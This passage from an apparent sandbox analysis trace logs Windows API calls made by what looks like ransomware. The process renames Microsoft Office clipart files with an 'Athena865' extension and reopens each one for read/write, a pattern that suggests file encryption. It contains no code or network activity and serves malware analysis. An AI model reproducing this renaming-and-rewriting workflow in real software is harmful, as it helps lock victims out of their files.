Office\\CLIPART\\PUB60COR\\J0153299.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.athena865"), dwFlags=0x1) returned 1 [0126.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.278] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36620) returned 1 [0126.283] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153302.WMF" | out: lpString1="J0153302.WMF") returned="J0153302.WMF" [0126.283] lstrlenW (lpString="J0153302.WMF") returned 12 [0126.283] lstrlenW (lpString="Athena865") returned 9 [0126.283] lstrcmpiW (lpString1="53302.WMF", lpString2="Athena865") returned -1 [0126.283] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.Athena865") returned 73 [0126.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.athena865"), dwFlags=0x1) returned 1 [0126.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.285] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30800) returned 1 [0126.288] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153305.WMF" | out: lpString1="J0153305.WMF") returned="J0153305.WMF" [0126.288] lstrlenW (lpString="J0153305.WMF") returned 12 [0126.288] lstrlenW (lpString="Athena865") returned 9 [0126.288] lstrcmpiW (lpString1="53305.WMF", lpString2="Athena865") returned -1 [0126.288] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.Athena865") returned 73 [0126.288] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.athena865"), dwFlags=0x1) returned 1 [0126.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.290] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38488) returned 1 [0126.294] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153307.WMF" | out: lpString1="J0153307.WMF") returned="J0153307.WMF" [0126.294] lstrlenW (lpString="J0153307.WMF") returned 12 [0126.294] lstrlenW (lpString="Athena865") returned 9 [0126.294] lstrcmpiW (lpString1="53307.WMF", lpString2="Athena865") returned -1 [0126.294] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.Athena865") returned 73 [0126.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.athena865"), dwFlags=0x1) returned 1 [0126.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.295] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15448) returned 1 [0126.299] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153313.WMF" | out: lpString1="J0153313.WMF") returned="J0153313.WMF" [0126.299] lstrlenW (lpString="J0153313.WMF") returned 12 [0126.299] lstrlenW (lpString="Athena865") returned 9 [0126.299] lstrcmpiW (lpString1="53313.WMF", lpString2="Athena865") returned -1 [0126.299] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.Athena865") returned 73 [0126.299] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.athena865"), dwFlags=0x1) returned 1 [0126.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.300] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16952) returned 1 [0126.303] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153398.WMF" | out: lpString1="J0153398.WMF") returned="J0153398.WMF" [0126.304] lstrlenW (lpString="J0153398.WMF") returned 12 [0126.304] lstrlenW (lpString="Athena865") returned 9 [0126.304] lstrcmpiW (lpString1="53398.WMF", lpString2="Athena865") returned -1 [0126.304] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.Athena865") returned 73 [0126.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.athena865"), dwFlags=0x1) returned 1 [0126.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17508) returned 1 [0126.309] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153508.WMF" | out: lpString1="J0153508.WMF") returned="J0153508.WMF" [0126.309] lstrlenW (lpString="J0153508.WMF") returned 12 [0126.309] lstrlenW (lpString="Athena865") returned 9 [0126.309] lstrcmpiW (lpString1="53508.WMF", lpString2="Athena865") returned -1 [0126.309] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.Athena865") returned 73 [0126.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.athena865"), dwFlags=0x1) returned 1 [0126.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.311] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34256) returned 1 [0126.315] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153514.WMF" | out: lpString1="J0153514.WMF") returned="J0153514.WMF" [0126.315] lstrlenW (lpString="J0153514.WMF") returned 12 [0126.315] lstrlenW (lpString="Athena865") returned 9 [0126.315] lstrcmpiW (lpString1="53514.WMF", lpString2="Athena865") returned -1 [0126.315] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.Athena865") returned 73 [0126.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.athena865"), dwFlags=0x1) returned 1 [0126.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.317] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12752) returned 1 [0126.320] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153516.WMF" | out: lpString1="J0153516.WMF") returned="J0153516.WMF" [0126.320] lstrlenW (lpString="J0153516.WMF") returned 12 [0126.320] lstrlenW (lpString="Athena865") returned 9 [0126.320] lstrcmpiW (lpString1="53516.WMF", lpString2="Athena865") returned -1 [0126.320] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.Athena865") returned 73 [0126.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.athena865"), dwFlags=0x1) returned 1 [0126.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.321] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7432) returned 1 [0126.324] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0153518.WMF" | out: lpString1="J0153518.WMF") returned="J0153518.WMF" [0126.324] lstrlenW (lpString="J0153518.WMF") returned 12 [0126.324] lstrlenW (lpString="Athena865") returned 9 [0126.324] lstrcmpiW (lpString1="53518.WMF", lpString2="Athena865") returned -1 [0126.324] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.Athena865") returned 73 [0126.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.athena865"), dwFlags=0x1) returned 1 [0126.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.326] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12528) returned 1 [0126.329] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0156537.WMF" | out: lpString1="J0156537.WMF") returned="J0156537.WMF" [0126.329] lstrlenW (lpString="J0156537.WMF") returned 12 [0126.329] lstrlenW (lpString="Athena865") returned 9 [0126.329] lstrcmpiW (lpString1="56537.WMF", lpString2="Athena865") returned -1 [0126.329] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.Athena865") returned 73 [0126.329] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.athena865"), dwFlags=0x1) returned 1 [0126.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.331] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1376) returned 1 [0126.333] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0157167.WMF" | out: lpString1="J0157167.WMF") returned="J0157167.WMF" [0126.333] lstrlenW (lpString="J0157167.WMF") returned 12 [0126.333] lstrlenW (lpString="Athena865") returned 9 [0126.333] lstrcmpiW (lpString1="57167.WMF", lpString2="Athena865") returned -1 [0126.333] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.Athena865") returned 73 [0126.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.athena865"), dwFlags=0x1) returned 1 [0126.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.335] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46702) returned 1 [0126.340] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0157177.WMF" | out: lpString1="J0157177.WMF") returned="J0157177.WMF" [0126.340] lstrlenW (lpString="J0157177.WMF") returned 12 [0126.340] lstrlenW (lpString="Athena865") returned 9 [0126.340] lstrcmpiW (lpString1="57177.WMF", lpString2="Athena865") returned -1 [0126.340] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.Athena865") returned 73 [0126.340] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.athena865"), dwFlags=0x1) returned 1 [0126.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157177.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157177.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.341] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21716) returned 1 [0126.345] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0157191.WMF" | out: lpString1="J0157191.WMF") returned="J0157191.WMF" [0126.345] lstrlenW (lpString="J0157191.WMF") returned 12 [0126.345] lstrlenW (lpString="Athena865") returned 9 [0126.345] lstrcmpiW (lpString1="57191.WMF", lpString2="Athena865") returned -1 [0126.345] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.Athena865") returned 73 [0126.345] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.athena865"), dwFlags=0x1) returned 1 [0126.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157191.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157191.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.347] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17912) returned 1 [0126.350] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0157831.WMF" | out: lpString1="J0157831.WMF") returned="J0157831.WMF" [0126.350] lstrlenW (lpString="J0157831.WMF") returned 12 [0126.350] lstrlenW (lpString="Athena865") returned 9 [0126.350] lstrcmpiW (lpString1="57831.WMF", lpString2="Athena865") returned -1 [0126.351] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.Athena865") returned 73 [0126.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.athena865"), dwFlags=0x1) returned 1 [0126.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.352] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11396) returned 1 [0126.355] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0158071.WMF" | out: lpString1="J0158071.WMF") returned="J0158071.WMF" [0126.355] lstrlenW (lpString="J0158071.WMF") returned 12 [0126.355] lstrlenW (lpString="Athena865") returned 9 [0126.355] lstrcmpiW (lpString1="58071.WMF", lpString2="Athena865") returned -1 [0126.355] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.Athena865") returned 73 [0126.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.athena865"), dwFlags=0x1) returned 1 [0126.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.364] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18652) returned 1 [0126.368] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0158477.WMF" | out: lpString1="J0158477.WMF") returned="J0158477.WMF" [0126.368] lstrlenW (lpString="J0158477.WMF") returned 12 [0126.368] lstrlenW (lpString="Athena865") returned 9 [0126.368] lstrcmpiW (lpString1="58477.WMF", lpString2="Athena865") returned -1 [0126.368] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.Athena865") returned 73 [0126.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.athena865"), dwFlags=0x1) returned 1 [0126.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.370] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17966) returned 1 [0126.372] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0160590.WMF" | out: lpString1="J0160590.WMF") returned="J0160590.WMF" [0126.372] lstrlenW (lpString="J0160590.WMF") returned 12 [0126.373] lstrlenW (lpString="Athena865") returned 9 [0126.373] lstrcmpiW (lpString1="60590.WMF", lpString2="Athena865") returned -1 [0126.373] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.Athena865") returned 73 [0126.373] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.athena865"), dwFlags=0x1) returned 1 [0126.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.374] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29406) returned 1 [0126.378] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0164153.JPG" | out: lpString1="J0164153.JPG") returned="J0164153.JPG" [0126.378] lstrlenW (lpString="J0164153.JPG") returned 12 [0126.378] lstrlenW (lpString="Athena865") returned 9 [0126.378] lstrcmpiW (lpString1="64153.JPG", lpString2="Athena865") returned -1 [0126.378] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.Athena865") returned 73 [0126.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.athena865"), dwFlags=0x1) returned 1 [0126.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.380] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46484) returned 1 [0126.384] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0168644.WMF" | out: lpString1="J0168644.WMF") returned="J0168644.WMF" [0126.384] lstrlenW (lpString="J0168644.WMF") returned 12 [0126.384] lstrlenW (lpString="Athena865") returned 9 [0126.384] lstrcmpiW (lpString1="68644.WMF", lpString2="Athena865") returned -1 [0126.384] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.Athena865") returned 73 [0126.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.athena865"), dwFlags=0x1) returned 1 [0126.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0126.386] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20906) returned 